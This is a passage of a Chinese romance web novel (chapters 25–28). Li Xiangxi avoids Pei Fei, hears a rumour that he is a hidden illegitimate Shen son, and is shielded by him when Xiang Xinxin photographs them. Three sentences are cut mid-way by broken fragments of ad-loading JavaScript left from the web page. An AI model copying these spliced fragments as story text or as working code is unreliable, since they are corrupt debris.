黎向浠在购物软件看合适倪婷的礼物,研究评论看看质量如何。 店铺评论区很热闹,都在说货不对板,乌泱泱一堆人秀买家秀和卖家秀,神经紧绷了一整晚,松散下来的黎向浠笑点变低,她翻着照片嘎嘎笑出声,动静在客厅回荡,飘到院子内。 彼时,裴非正蹲在地上查看车轮,女生爽朗悦耳的笑声进入耳朵,裴非微微拧眉。 她在躲他。 他往房子方向偏头,唇角漾出一丝不易察觉的的笑意。 - 25. 远离他 黎向浠靠着扶手半躺在沙发上,尽情享受着没有裴非的时光。 因为刷评论看到好玩的东西,悦耳的笑声在客厅久久不熄,她还给倪婷发过去,又发了语音。 “婷姐你快看,这个衣服好好笑哈哈哈哈哈。” 话音刚落,余光看见大门口站了一个身形高大的模糊的人影,黎向浠顿住。 她悄悄打量自己的状态,睡裙往上卷,晨光透过窗户照在纤细的长腿上,细嫩到白里透红。 走光边缘。 而裴非似乎在那里站了很久。 他……看见了? 黎向浠绷着脊背,佯装没看见裴非,不急不缓起身,整理衣服头发,端端正正坐好,这才讪讪看向门口。 裴非只是指尖刷动手机,帽檐盖住半张脸,并没有看过来。 黎向浠微微张嘴,无声吐了一口气。 幸好,他没有看见,否则多丢人。 “早……早上好裴非,今天这么不去基地呢?”黎向浠装作什么也没发生,微笑问候。 但摆在膝盖上的手,指甲早已陷进皮肤里。 裴非这才抬头,漆黑瞳孔里,是说不清的情绪。 他转走视线,若无其事走进来。 “早,待会儿去。”他平平回。 裴非离得越近,黎向浠心底的鼓就打得越快。 噔噔噔噔地,就像上学老师点人回答问题时,不经意间对视之后的反应,黎向浠只有那个时候才会这样张。 “噢噢,你吃过了吗?”她硬着头皮尬聊,害怕不说话的话,裴非会发现异常。 不过这个理由很蹩脚,他分明吃过了,这早餐只剩她的那份。 “吃过了。”裴非一边上楼一边配合她说。 等关门的声音传来,黎向浠紧绷的脊背才弯下来。 太尴尬了,这个氛围太尴尬了,不是裴非尴尬,是她自己胡思乱想所以尴尬。 只要裴非出现,她脑子里就会不停告诉自己,这人是沈推凡的弟弟,不能离他太近,但越这样,她就越容易心跳加速。 得想个办法解决才行。 正巧,倪婷的消息发来:【你一大早又无聊了?晚上去吃饭吗?跟我老公冷战,我回自己家里了。】 黎向浠灵机一动,闪过一个完美的解决方法。 她坚信是因为这两天裴非对她态度转变,所以才产生奇怪的想法,只要暂时冷却一下,就会恢复正常。 躲避可耻但有用。 被这个解释的合理性惊喜,她几乎从沙发上蹦起来,语音回道:“去!一定去!倪婷姐,你一个人住无聊吗?我去陪你!” 倪婷秒回:【怎么?你也跟老公吵架?】 黎向浠耳垂唰地一下红了,怎么从男朋友变成老公了。 她抿了抿嘴角,欲哭无泪解释道:“没有没有,我没有老公,也没有男朋友,我就是想你了,我们好久都没有一起睡了!” 她把那晚没有给阿姨的解释也一并说了。 倪婷:【好吧,我中午去接你,今天下午又调休,天天加班,我应得的。】 聊天结束,黎向浠抱着手机在沙发上蹬腿,无声庆祝,像是得到了不起的救赎那样,裙子顺势又滑落,她急忙伸手压下去,乖乖坐好。 心有余悸。 估算时间,裴非应该快出来去基地了,得错开时间才行。 黎向浠忙不迭往楼上跑,刚到走廊,身后的红木门打开了。 身子一定,躲不掉了。 她扭头朝裴非挥手,扯着笑容说:“裴非!我这几天要出去跟朋友玩,晚餐的话,你要自己弄了哟!” “去多久?”裴非看向她。 黎向浠咬着嘴巴思索,“不知道,看情况吧。” 如果她快一点调整自己的状态,那就不久,如果她没调整好,估计就久一些。 裴非无声哂笑。 故意晚起,现在又要出去住,不是躲他是什么。 他觉得她越来越有趣了,一开始自己要跟他聊天,这两天他回应了,她跑了。 不过挺好的,他也趁这段时间沉一沉,毕竟觉得一个人可爱的时间长了,他就总是不自觉注意她。 比如刚刚,他其实听到笑声时就进来了,只是刚到门口便看见那双笔直的长腿,架在黑色的沙发上,惹眼得紧。 他并不是故意要看的,但要转身离开时,她的笑声慌张地停了一秒,他知道她看见了,这时候走,只能是做贼心虚。 于是他垂下帽檐,拿出手机,在各种APP上面切换跳动,更加做贼心虚。 可现在,尽管她穿戴整齐,他还是觉得天气炎热。 还比如,许子炀总叫她浠浠宝贝,他会觉得很讨厌,以前许子炀叫过很女人宝贝,他都没感觉的。 - 白色大众开往倪婷住的小区,车厢内,车载音乐放着重金属摇滚,黎向浠甩着脑袋挥着手跟唱。 一股解脱后的报复性欢愉劲儿。 “心情这么好?”倪婷透过反光镜看她。 黎向浠停下晃动,披散的头发凌乱到脸上,也盖住笑容灿烂。 她打开车窗,迎着吹进来的风,捋着头发,高呼:“对啊!就是开心!感觉一身轻松!” “也是,这几次见面,好像你都挺开心的,比如上次的漫展,佳人相伴就是开心哦。”倪婷八卦说。 黎向浠身子微微一怔,好像是这样的,很多次都是因为裴非。 转而她又反应过来,都出来了,怎么还在思考这个问题。 她甩了甩脑袋。 倪婷的小区并不在市中心,在另一边的郊区,自己买的房子,两室一厅,还算宽敞。 两人回去修整之后,便一起下楼去逛超市,回到家,倪婷说要给黎向浠炒两个山城小菜,两人又一起在厨房,一边聊天一边下厨。 晚餐时候,倪婷给黎向浠说她跟老公吵架的原因。 “我跟他本来说好的,一人做菜一周,轮流来。”倪婷停下吃饭的动作,一脸愤懑。 “结果他盐放多了,我说他就是不认真做,他又说是按照自己的口味来的。笑话,按照他的口味,那我之前做菜的时候,他怎么不说淡了呢?就是不承认盐放多了罢了,男人,死鸭子嘴硬。” 黎向浠只是笑。 倪婷本身是个很注重言行的人,以前讲话都轻声细语,基本不会大笑,穿着也很端庄,总是很仙气的长裙或者旗袍。 这次来京北,是她第一次和婚后的倪婷接触。 倪婷话变多了,语气硬了,抱怨多了,而且,居然会吵架了。 “这样看,你们家好热闹啊。”黎向浠天真笑着。 她从这段故事提取了自己唯一值得羡慕的事情来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夸赞。因为有点声音总比死气沉沉的好。 倪婷哭笑不得,“哪里算热闹了,我告诉你浠浠,以后你结婚了,一定要选一个不会和你吵架的,吵架太费心思了,而且男人一点不介意这些,每次吵完架,他都能呼呼大睡,我气得半死,把他推醒了他还问为什么……跟头猪一样。” 黎向浠又笑了,不知道在笑什么,她觉得倪婷的形容很好玩。 她有些出神,没再夹菜了,只是攥着筷子。 她想,沈推凡应该不会和她吵架,而且结婚之后,她不用担心做菜放多少盐了,有阿姨伺候,胃口不合适说一声就好,如果跟沈推凡饮食不一样,还能让阿姨弄两份。 其实这样挺好的,但黎向浠心里还是觉得失落,没有感情,又不是搭伙过日子,这个婚结了没有意义,可她又必须结。 吃完饭,洗漱好,黎向浠躺在倪婷身边,靠在她肩膀上。 倪婷家庭条件不错,以前还在山城的时候,倪婷知道她家里的情况,她去当小小志愿者时,倪婷就总给她带零食,还会特意陪她留到最后,免得她回去了黎蔓没有回来,家里没人管她。 怎么这样温柔的人,结婚后会是一地鸡毛呢。 黎向浠抬眼看着她。 “怎么?睡不着?”倪婷帮她掖被子。 “倪婷姐,你当初怎么看上姐夫的?”黎向浠抱紧她。 倪婷拍她胳膊回想着,慢慢说:“那会儿念大学,他就送给我送早餐,陪我去图书馆,见多了就感觉他挺不错的。后来我不是参加了志愿者社团吗,那里面什么大小活动他都跟着,帮我很多忙,我又觉得,有他在身边挺好的,习惯了……” 倪婷还在继续说,黎向浠的思绪飘出去了。 一个人看多了另一个人,真的会有感觉吗? 月色淡淡,星星稀疏,光影斑驳打在飘散的灰色窗帘上,看上去清冷孤寂。 黎向浠想到了老宅,此刻的老宅应该不热闹,只有裴非一个人在那儿,多无聊啊,就像她刚刚到京北时候,他没有回来住的那样,无聊到快要爆炸了。 “浠浠?” 见她没有反应,倪婷喊她,“怎么?听困了?” “没有。”黎向浠钻进被子。 好不容易出来,怎么又想到裴非了。 而且,裴非住在老宅的时间比她多多了,万一他根本就不觉得无聊呢。 黎向浠强行让自己闭眼,不去管那些问题。 另一边。 老宅,月影星稀,四声杜鹃的鸣叫从山林传来,回荡在空唠唠的院子里。 阳台漆黑,裴非靠在椅子上,仰头,薄长的眼睛轻轻闭着,寂静无声。 手机震动响起,很小的动静,在此刻却很是喧嚣。 裴非掀起眼皮,瞥了一眼。 是广告信息,还是拦截的,连内容都没有。 身后的房子没开灯,黑得昏昏沉沉,书房没有往日的说书声,静得可怕。 裴非抽出一支烟咬在唇角,点燃之后吸了一口,拿过手机解锁,指尖在各个APP跳跃,始终找不到打发时间的好办法。 裴非努力回忆以前这个点,他都在做什么。 他在玩蝴蝶刀,在划沈推凡的照片,在回忆过去听奶奶讲故事的日子。 现在,他居然在想,黎向浠什么时候回来录制有声书。 - 26. 了解他 翌日,下午三点多,训练场,阳光柔和充足,空气清爽适宜。 赛道上几辆飞驰的赛车在你追我赶,裴非抱着手站在观赛席。 挺括的腰身硬朗,肩宽腿长,雷朋墨镜架在高挺的鼻梁上,衬得皮肤白里透光。 镜片后方,鹰隼般的眼神紧盯着车子的一举一动。 即便如此,眼尾处的一丝疲惫还是盖不住。 许子炀姗姗来迟,手搭在跟前的栏杆,瞥一眼裴非。 “昨晚没睡好?怎么看上去那么憔悴?” 裴非推了推眼镜,将记录本扔到许子炀怀里,“喝酒,今晚。” 许子炀手忙脚乱接住本子,张着大嘴欲言又止,他伸手要摸裴非额头看看他发烧没有。 裴非反手打掉,往基地走。 许子炀跟过去,手搭在他肩膀,不可思议问:“不是,之前叫你出来喝酒,你天天准时下班回家,现在不敢叫你了,你倒是喊着喝酒了,怎么你家里藏人了?” 裴非手肘撞开许子炀胸口,一言不发。 他不知道怎么解释,似乎习惯了有人在耳边叽叽喳喳,突然消失不见,他连觉都睡不好,或者说,她在的时候,他睡眠质量正常,她一走,他又开始失眠了。 简直立竿见影,他自己都无奈了。 - 晚上12点,酒吧,光影迷离,酒香四溢,卡座上的人推杯换盏,舞池里的人摇曳生花。 二楼观景台,一群公子哥小千金亲昵地手搭手,脸上带着醉酒的红晕,嘴里说着不着调的酒后真言,似乎不喝趴下不罢休地玩着摇骰子。 观景台前的双人桌上摆着一瓶威士忌见底,加冰的杯子外沿渗着水珠,连接着黑漆漆的手机。 裴非形单影只坐在旁边,指腹夹烟,唇角缓缓吐着白雾,薄长的眼睛淡漠望向楼下的喧嚣,不为所动。 有时候酒量太好,也不是什么好事。他已经快喝了一瓶了,面不改色,脑子依旧清醒,比下雨那晚,将帽子借给黎向浠的时候还清醒。 啪啪两声,一个女生带着厚重的香水味走来,将反着钻光的手拿包放到桌子上,还有一瓶刚启的白兰地。 她夺走裴非口中的烟,含在嘴里,帮他倒满酒,又举起自己的杯子,眼睛微眯着伸出酒杯。 “一个人喝酒多无聊。”向馨欣吐着白雾说。 裴非看向重新倒满的酒,和女生指尖夹着的烟蒂,眼神包含了这一整天的烦闷,眸光骇人。 察觉裴非不愿意配合,向馨欣识趣地挑了挑眉,惺惺收回酒杯,“不喝也行,那你告诉我,为什么对我敌意那么大?” “烦。”裴非冷冷说。 “我什么时候惹你了?” 裴非压下帽檐。 从第一天见面,就惹了他。 “噢~是你看见我跟杨余瑞在一起,太甜蜜,吃醋了,所以觉得我烦?”向馨欣不着调地说。 她喝了不少酒,刚刚走过来脚底都打飘,此刻讲话更是口无遮拦。 裴非并不打算跟她计较。 他起身离开。 向馨欣也起身,她拦在他跟前,指尖抵着他胸口,语气妖娆说:“那我甩了杨余瑞,跟你就好了,你别生气。” 半个醉人,自己说什么鬼话都不知道了。 裴非打掉她的手,侧身走过去。 向馨欣拉住他,又被一把甩开。 这一下,向馨欣气上头了。 她长这么大,还没见过哪个男人这么没有眼力见的,自己都这样屈尊靠近了,还一副爱搭不理的模样。 向馨欣抬手打掉裴非帽子,拿起满杯的白兰地,往那张不近人情的脸泼过去。 瞬间,整个观景台掉入无尽寂静,光影不再自由转换,音乐声似乎也消音了,空气冷得可怕。 沙发上的人瞬间醒酒,屏住呼吸看向被酒精打得紧闭双眼的裴非。 平日里那张不苟言笑的脸,在此刻冷得吓人,尽管被酒精浸湿,却宁静得可怕,像是风雨欲来的前兆。 向馨欣也懵了,她看着手里的空酒杯,再看看裴非打湿的脸颊,想帮他擦掉,但她不敢,也没有力气伸手,只能在原地慌乱眨眼。 “你……你为什么不躲啊……” 她下意识把责任扔给裴非。 沙发上的人都惺惺看向杨余瑞,想看看他怎么处理,毕竟这人是他带来的。 杨余瑞手里还抓着一把扑克牌,本来都快赢了,这一下,直接扔掉,跟许子炀同时跑过去。 许子炀抽出一把纸巾,帮裴非擦掉脸颊和肩膀的酒精,嘴上怪罪着向馨欣说:“怎么回事?有话好好说,怎么还动手了呢。” 他总得帮裴非说点什么,毕竟向馨欣一个女生,裴非倒也不能真的跟她动手。 杨余瑞搂着向馨欣,小声说:“你疯了?整个车队都不敢惹的人,你这么泼上去?” 向馨欣小脸刷白,无助看着杨余瑞,“我不是故意的。” “对对对,肯定不是故意的,没事啊裴非,明天酒醒就好了。”许子炀一边擦一边缓解气氛。 他凑到裴非耳边,低声说:“她喝了酒,脾气收不住罢了,你要是嫌她烦,我让杨余瑞看好她,以后不出现在你面前就行了。” 一杯酒解决一个麻烦,也行。 裴非推开许子炀,走出酒吧。 - 两天后,休息日。 晚上的时候,倪婷说要带黎向浠出去吃火锅,黎向浠原地蹦起,抓起挎包就说准备好了。 倪婷推着她额头,“你呀,掉进火锅眼里了。” 黎向浠揉着额头嘿嘿笑。 其实她以前在山城的时候也没有那么爱吃火锅,只是来了京北,她发现火锅是她最快连接家乡的方法,所以总是挂在嘴边罢了。 店里生意红火,锅底的热气笼罩,像是一层好吃的薄雾,里面人满为患,服务员吆喝着“小心烫!顾客记得看路!”,好不热闹。 黎向浠和倪婷坐在靠窗位置。 夜幕降临,霓虹灯和路灯交织。 或许是因为周五,大家都赶着出门庆祝,路上的车子一辆接着一辆,像是首尾相连的毛毛虫,没有一点呼吸的缝隙,光是她们坐的位置,黎向浠就看见这条路上的两个红绿灯,车子堵得水泄不通。 倪婷也眼巴巴望过去,带着庆幸说:“好在我今天下午不上班,否则我也是其中一员了,每次周五都得堵在路上两个小时。” “那也比在公司加班两个小时强呀!”黎向浠笑着说。 “确实。”倪婷很是赞同地点头,话语少有地带了怨气说,“有时候加班还不一定有回报。” 黎向浠嗯了一声等她继续。 倪婷一脸忧愁,“最近一个展,因为资金问题中断了,总部不肯放手,本来谈得好好的,哎……” 黎向浠不太了解倪婷的工作内容,但听上去似乎是万事俱全了,结果东风折了。 她跟着惋惜道:“好端端的项目,不过公司就是这样,以前我上班也是,扣扣搜搜的。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 倪婷点头,“嗯,别人抠搜就算了,我们总部可是沈氏集团名下的公司,沈家那么有钱,呼风唤雨的,这么点资金都不给。我还听说沈推凡最近还准备订婚了,也不给自己积点德,亏我见他几次,还觉得他一表人才,很大方的样子。” 黎向浠顿了一下,不可思议看向倪婷。 首先她没想到倪婷对工作的怨恨居然如此深,都学会骂人了。 其次,倪婷公司居然是沈推凡旗下的,而且沈推凡要结婚的消息,居然这么快就有了风声。 黎向浠咳嗽一声,咬着茶杯心虚看向窗外。 “哎浠浠。”倪婷握住她手腕。 黎向浠吓得一抖,茶水溢出来,泼在手腕上。 “你……怎么了?不舒服吗?”倪婷抽着纸巾递给她。 “没有没有,可能是我有点口渴……哈哈哈。”黎向浠接过,擦拭干净后又将半张脸埋进杯子里。 倪婷把茶水壶往她跟前推,小声说:“反正你也不是我们公司的人,我跟你说个八卦,听说沈推凡这个是联姻,而且年龄比他小很多,真是老牛吃嫩草。” 黎向浠只是傻笑,心底一阵不是滋味。 不过倪婷见过沈推凡好几次,黎向浠才见过一面,她打算旁敲侧击问一问。 “倪婷姐,沈推凡……是个什么样的人啊?他有兄弟姐妹吗?他兄弟姐妹是个什么样的人?”黎向浠闪着大眼,眼神虚着,拳头里已经冒着冷汗了。 她还是不太会伪装。 倪婷被加班气昏头,并没有发现。 “听总部的人说,沈推凡像个笑面虎,谈判很厉害,说话做事滴水不漏的样子,我印象里也是这样,有点古板吧,长得不错,如果不是因为总部太抠,我应该也不会骂他。” 下属对上司的好评,沈推凡应该坏不到哪里去。 黎向浠松了一口气。 倪婷继续说:“沈推凡是独生子,不过他爸爸倒是有一个兄弟,很多年前出意外去世了,所以目前来说,沈家所有家产,都会落到沈推凡一个人手里。” 独生子。 沈推凡和裴非不是亲兄弟? “家产都给沈推凡?那他爸爸的兄弟没有孩子吗?”黎向浠追问。 菜已经上来,倪婷往里面烫着毛肚,放到黎向浠碗里,黎向浠夹起毛肚,准备放到嘴里,又听见倪婷的话。 “没有。”倪婷摇头,“我们公司传的版本里,沈推凡那个大伯还没有成家就去世了,而且,那个大伯跟他爸爸是同父异母。” 黎向浠放下毛肚,手腕起了鸡皮疙瘩。 她怀疑老宅那个所谓沈推凡的弟弟在撒谎,毕竟倪婷嘴里,沈家似乎没有这个年龄段的男人了。 下一秒,倪婷凑近她,一只手挡住嘴角,神神秘秘说:“传闻中,沈家还有一个从未露过面的私生子。” 黎向浠眼底闪过诧异,“私生子?!” “对,已经传了二十多年了,这个小孩如果真的存在,应该也是二十多岁的样子,听说是因为沈家惹不起妈妈的身份,又不能不管那个小孩,所以一直藏着不让露面。” “妈妈是谁?” 黎向浠双手拍在桌子上,神色紧张,声音不自觉放大,惹得旁边桌子的人纷纷看过来。 倪婷吓得往后退了退,朝旁边人抱歉笑了笑,伸手拍着黎向浠的手背安抚。 “这只是传闻而已,都不一定有,而且我哪知道妈妈是谁,你别急啊,火锅好了,吃饭吃饭。” - 27. 靠着他 火锅滚烫,水汽氤氲,香飘四溢,黎向浠却食不下咽,心底沉沉的。 裴非是不能公开身份的私生子。 所以当初她叫他沈裴非的时候,他那样应激,所以他一整天都带着黑色的鸭舌帽,他要隐瞒自己回国的身份,所以那天在漫展,裴非不能答应签名和拍照。 难怪许子炀说,裴非没有几个朋友。 黎向浠撑着脑袋,一下一下拨动碗里的黄喉,眼神发呆地思索。 裴非是什么时候慢慢对她好的? 并不是前段时间,也不是从他和她说“早”开始的。 是很久之前那个道歉。 他跟沈推凡的关系或许不太好,所以一开始,他对她的敌意很大。 沈推凡没有告诉裴非她的身份,后来裴非发现她是私生女,觉得他们是同一类人,才开始对她好的。 但她,却自以为是地把这个感情归为男女之情。 黎向浠像是拨开一连串的雾,扒出了真相。然而,她的眼神却越来越黯淡,心也越来越沉。 自己才过了一段时间私生女的生活,就压抑得想哭,那裴非这样活了24年…… 他对她敞开心扉,试图接纳她,其实也是想往更有色彩的生活试探,或者回头帮一帮过去的自己。 但她却因为莫名其妙的心悸,误会他们之间是那样的感情,而扔下他逃之夭夭。 黎向浠啧了一声,深深叹出一口气,她垂下肩膀,手里的筷子在碗里捣来捣去,将一颗丸子捣成肉沫了。 倪婷轻轻喊她:“浠浠?” “浠浠?” “嗯?”黎向浠眼神聚焦,有些迷离回,“噢噢。” 她停下折磨肉丸的筷子,笑着用筛勺子在锅里捞肉,掩饰自己现在五味杂陈的心情。 “你怎么了?”倪婷打量她。 黎向浠夹一片毛肚放入倪婷碗里,“没有没有,吃饭哈哈哈哈。” 见她闪躲,倪婷不再问,而是拿着手机,语气明明带着欢欣,却还是嘴硬说:“我家那位刚刚居然跟我道歉,还说等下过来接我回家,真是……以为我就那么好哄吗?” 倪婷身子往前探,说:“浠浠放心,这个周末我肯定陪你过。” 黎向浠微微怔,眼神定定看向倪婷。 其实她也该回去了,既然知道裴非是因为私生女的身份才对她好,那就没有什么可以避讳的。同样的人应该互相取暖才对,把裴非当做朋友对待,不要总想着他是沈推凡弟弟,这样不就好了吗? 一定是的,就因为那几天她总告诉自己裴非是沈推凡弟弟,她才特别留意他们之间的肢体接触,其实想想那些接触都很正常,并没有什么过分的。 黎向浠茅塞顿开。 她眼睛甜甜眯起,“没关系的倪婷姐,待会儿你跟姐夫回去吧,我也该回去啦!都和你住了好几天了呢。” 吃完饭,火锅店门口,倪婷老公捧着一大束玫瑰走来,倪婷嘴角压都压不住,眼神却还要装作看不见。 黎向浠看热闹地用肩膀撞了她一下。 “浠浠,我送你回去吧?”倪婷抱着玫瑰说。 黎向浠笑,乖巧摇头说:“不用啦,我自己打车就好,你们快回去吧,好不容易和好了。” 毕竟都这种时候了,她可不想打扰新婚夫妻的恩爱。 目送车子离开,黎向浠像是卸下重担,长舒一口气,身子轻盈起来。 她沿着京北宽阔的街道慢慢走,想吹吹风,顺便看看京北这座城市。 来了这么久,每天都在想着打发时间,还没好好欣赏这座历史悠久的古城。 街道霓虹灯和月影交融,车流挤挤,京北的行人和山城的行人差不多,周末晚上了,这个点在外面的,大都是逍遥来的。 黎向浠被一条巷子吸引,那里闪着颜色各异的霓虹灯,有点复古的韵味。 她好奇着往里面走。 地板的青石板砖铺得平整,店面装饰如同古代的客栈,还有做旧的门匾,一股香火的气息。 人不多,三两对小情侣牵着手互相拍照,很是热闹。 巷子很长,弯弯绕绕,四通八达,黎向浠走得额头微微冒汗了,才看见巷尾的痕迹。 那里传来喧嚣的音乐声。 她觉得耳熟,就寻声走去要看看是什么。 果然,巷子直通酒吧一条街。 街道里灯光跳动快速,空气酒精刺鼻,年轻人衣着潮流,大部分是刚刚才到,聊天的神情还很清醒,走路步伐稳健,也有几个已经喝多了的,靠在墙角聊着私密话题。 黎向浠记起上次的经历,心头一阵无奈,还是不要再碰这些了的好。 她转身,猝不及防地,撞到侧边走来的男人,咚地一声,她的生理泪水瞬间涌出。 似乎是撞到他锁骨上了。 黎向浠一边抹泪一边连连道歉:“抱歉抱歉……实在不好意思,我刚刚出神了没太注意。” 等了一会儿,对面的人并没有出声,他站在她跟前,挡住街道路灯投来的光线,高大的影子黑压压笼着她。 黎向浠疑惑抬头,透过染了泪的视线,看见那张英隽的脸,她眼底跑出不可思议的惊喜。 “裴非!你怎么在这里?” 光线晦暗,裴非立体的五官有模糊的轮廓,深邃的瞳孔隐匿在帽檐的阴影中,那道带了一丝不易察觉的欣喜的眼神,被黑暗吃得干干净净。 顾不上重逢之喜,黎向浠拧眉看向裴非撑着衣服的锁骨。 “有没有撞疼你?没有受伤吧?” 她落落大方地帮他抚平那里的衣服。 其实她伸手的时候还是心虚,触碰到他衣衫的时候,心跳还是加速了,但黎向浠硬着头皮告诉自己,只要熟悉了这个感觉就好,把裴非当做一个关系比较好的朋友。 裴非没有躲,他们在暗处,看不清的光线里,黎向浠像是发脾气的女朋友,而裴非就是那不会哄人,但打骂不还手,却满眼宠溺微笑的男朋友。 让路过的几个行人忍不住回头。 与此同时,后方传来一个寻找的女声喊他:“裴非?” 这个声音有点熟悉,黎向浠觉得自己似乎在哪里听过。 黎向浠往裴非身后探头,想看看是谁。 “是谁喊……唔……” 裴非捂住她嘴巴,将她抵在身后的墙上,凑近地压过来。 刹那,他主动的肢体接触,让那股好闻的沉木味道袭击着黎向浠鼻尖。 她重重呼吸着,双手不知道放在哪,就紧紧垂在两边,贴着墙。 黎向浠慌了,心脏砰砰地跳,她害怕裴非对自己的感觉,不是她理解的同类之间互相帮助,而是男女之情,那就完蛋了。 她眨巴着眼睛,无措看着他。 距离太近了,裴非将她整个人包裹住,他们之间只隔了一只手掌,他的呼吸打在她睫毛上,温温润润。 尽管帽檐低下的阴影很重,黎向浠还是看见了裴非的眼神。 他在全神贯注留意后身走来的人,留给她的眸光,是隐隐担忧。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“裴……唔……” 黎向浠要开口问他发生什么了,裴非却更用力盖住她嘴巴,堵住她的话。 “没事,别出声。”他低声安抚着。 黎向浠不敢动,她都听见自己急促的呼吸,她想,裴非肯定也听到了。 她在心底默默念了好多遍“他们是朋友,她这次回来就是要帮裴非打开心扉,交朋友的,他们之间没有男女之情”。 但不管用,她还是很紧张。 于是,黎向浠选择闭上眼,在裴非眼皮子底下,像是允许他做什么都行那样,闭上眼睛。 裴非一愣,喉头滚了一番,摘下帽子扣到黎向浠头顶,盖住那张微微泛红,在黑夜里像是欲拒还迎一样的小脸。 正巧,来人站在裴非身后,似乎很惊讶,她很大声地倒吸一口凉气,指着他背影,“裴非……你……你居然……” 裴非将黎向浠护到他胸口。 她的额头,就靠在他怀里。 黎向浠屏住呼吸。 这次不是因为紧张,是因为,那个人是向馨欣。 向家,黎蔓,这样的感觉冲淡了此刻莫名其妙的心动。 裴非怎么会和向馨欣认识? 黎向浠好奇,要抬头看一眼裴非的反应,看看他们是什么关系,却被裴非死死按住脑袋,不允许任何看见她的脸。 黎向浠确认了,裴非是因为知道她是向家私生女,所以对她特别好,就像现在,他不想让她和向馨欣正面交锋,所以才抱着她。 尽管她已经面红耳赤,尽管她觉得,在裴非的怀里很有安全感,但她还是因为裴非对自己没有男女之情这件事,感到开心。 她想,一定是平时裴非不苟言笑,所以接触起来才会像是带电了一样,让她浑身酥酥麻麻。 方统就不会,她跟方统认识很多年了,她拍他肩膀的时候,就是好朋友。 只要她和裴非关系再近一些,那她拍他肩膀的时候,也会很正常了。 这样想着,黎向浠便开始放空自己,堂堂正正享受起在裴非怀里的片刻时间,别的就让裴非解决好了。 与此同时,向馨欣瞧见这一景象,身子一顿,又被裴非凶了一句,便往后推,侧过身子,不去看眼前两个人的你侬我侬。 心底却暗暗不屑。 杨余瑞说裴非不近女色,现在却在大街上这样抵着一个女人,分明就是人面兽心,还装。 但碍于前两天她的失态,向馨欣也没敢说什么玷污的词语出来。 “我只是来跟你道歉的,因为上次泼你酒的事,抱歉。”向馨欣语气淡淡。 她不太想道歉,但杨余瑞这两天一直逼着她来,说裴非这人不好惹,许子炀都得哄着他。 而刚刚裴非在观景台看见她,立刻转身离开,车队的人见状,都对她避之不及,她察觉到裴非可能不是什么简单的人物,这才跟出来道歉。 向馨欣抱手,声音犹豫地说:“我们以前的恩怨一笔勾销吧,如果你还生气的话……也可以泼回来。” 她不了裴非的脾气,害怕裴非真的泼回来,便提着一口气等待答案。 “离车队远一点。”裴非冷冷说。 向馨欣松下肩膀,一边说一边掏出手机,“好,按照杨余瑞说的,以后我都不去基地烦你了,但酒吧这些……” 向馨欣一边说一边按下快门。 闪光灯倏地亮起,刺眼的光线像是一道闪电,将巷口最暗处角落两个抱在一起的人,曝光在仿佛青天白日的手机上。 - 28. 误撩他 好在刚刚闪烁的刹那,周围并没有人在场,所以这场闹剧只有他们三个人知道。 角落再次暗下去,一切都安静得可怕,清晰的快门声让黎向浠心底打颤。 她是无所谓,但是裴非不行,上次在漫展,他还是不允许拍照的。 黎向浠有些担忧,想要抬头看看裴非的神情,却已经察觉到护在头顶的那只手,充斥着愤怒。 裴非转身。 在她们两个都没反应过来的时间里,裴非走到向馨欣跟前,攥着她手腕,抢出手机,永久删掉那张照片。 赛车手,反应速度至关重要。 向馨欣看着那只爬满青筋的手掌,强而有力地握在自己手腕上,她眼神发虚,话也说得不利索了。 没想到居然忘了关闪光灯,简直罪加一等。 “我……我只是想……” 啪- 一声响动,打断向馨欣欲辩解的话语。 裴非将手机砸到墙壁上,掉落到地上的时候,机身摔得粉碎,散落在墙角。 向馨欣身子颤了颤,仿佛摔在墙上的是她那样。 没有了帽子制约,裴非生气的脸在黑夜里像是愤怒的吸血鬼,眼白爬上红血丝,幽黑瞳孔便是吃人不吐骨头的黑洞,似乎下一秒,有人的脖子要遭殃了那样。 向馨欣看得背后冒汗,脸颊刷白,在慌乱无错间,她想到刚刚裴非怀里的女人。 既然裴非对那个女人好,或许那个女人可以帮她求求情呢。 只是,向馨欣刚要探出眼神,似乎又惹到了裴非。 他收紧手指,向馨欣手腕传来一丝疼痛。 只是一点点痛觉,但在这样紧张的氛围,它被无限放大着,仿佛万箭齐发抵在她脑门一样。 向馨欣吓得目不斜视,连连垂头说:“好,我不看,我不看就是了。” “第二次了。”裴非的声音透过牙缝发出来,沉沉的,锐利的,带着隐忍和警告的意思。 毕竟她真的已经第二次惹怒他了。 周围没有几个路人,车队的人圈在身后百米外杨余瑞的酒吧里,如果裴非真要对她动手,连个拦住他的人都没有。 “对不起……我……”向馨欣身体开始颤抖,不自觉抽泣起来。 对面走来一帮喝了酒的,吵吵闹闹。 裴非此刻没有戴帽子。 他咬紧后槽牙,忍了一口气,松开她,命令说:“转身,往前走,不准回头。” 向馨欣咽了咽口水,疯狂眨眼控制眼泪。她攥着挎包转身,踩着细高跟,踉踉跄跄往前小跑,丝毫不敢回头。 一路跌跌撞撞,向馨欣返回酒吧,跑向观景台,一屁股坐到杨余瑞和许子炀中间的沙发上。 顾不上跑乱了的头发,花掉的妆容,她端起杨余瑞的鸡尾酒,一口喝完,一副见了鬼的落魄模样。 杨余瑞和许子炀本还在讨论着拉力赛的事情,见情况不对,两人对视一眼。 杨余瑞关切问:“馨欣,你怎么了?让人欺负了?” 向馨欣摇头,大口呼吸着。 等缓过来之后,她看看许子炀又看看杨余瑞,声音颤抖说:“我看见裴非跟一个女人在街上亲吻了。” 这一下,换许子炀和杨余瑞见鬼了。 - 月影星稀,风里有淡淡的凉意。 布加迪车身反着路灯的光影,蛰伏在停车场,尚未启动。 车厢内没有开灯,没有香水,没有音乐,一切都安安静静。 黎向浠的心脏在慢慢加速,但她还是清了清喉咙,佯装对刚刚的肢体接触没有什么感觉。 她脱下帽子,扣到裴非头上,扬起笑容说:“谢谢!” 谢谢他刚刚保护她,其实真要和向馨欣正面对峙起来,她还真不知道要怎么说,尽管那晚的一面,她觉得向馨欣并没有敌意。 裴非转头。 黎向浠又跟着帮他整理。 裴非就这样看着她,眼神杂乱。 黎向浠帮他戴好之后,满意看了看自己的成果,自顾自“嗯”了一声。 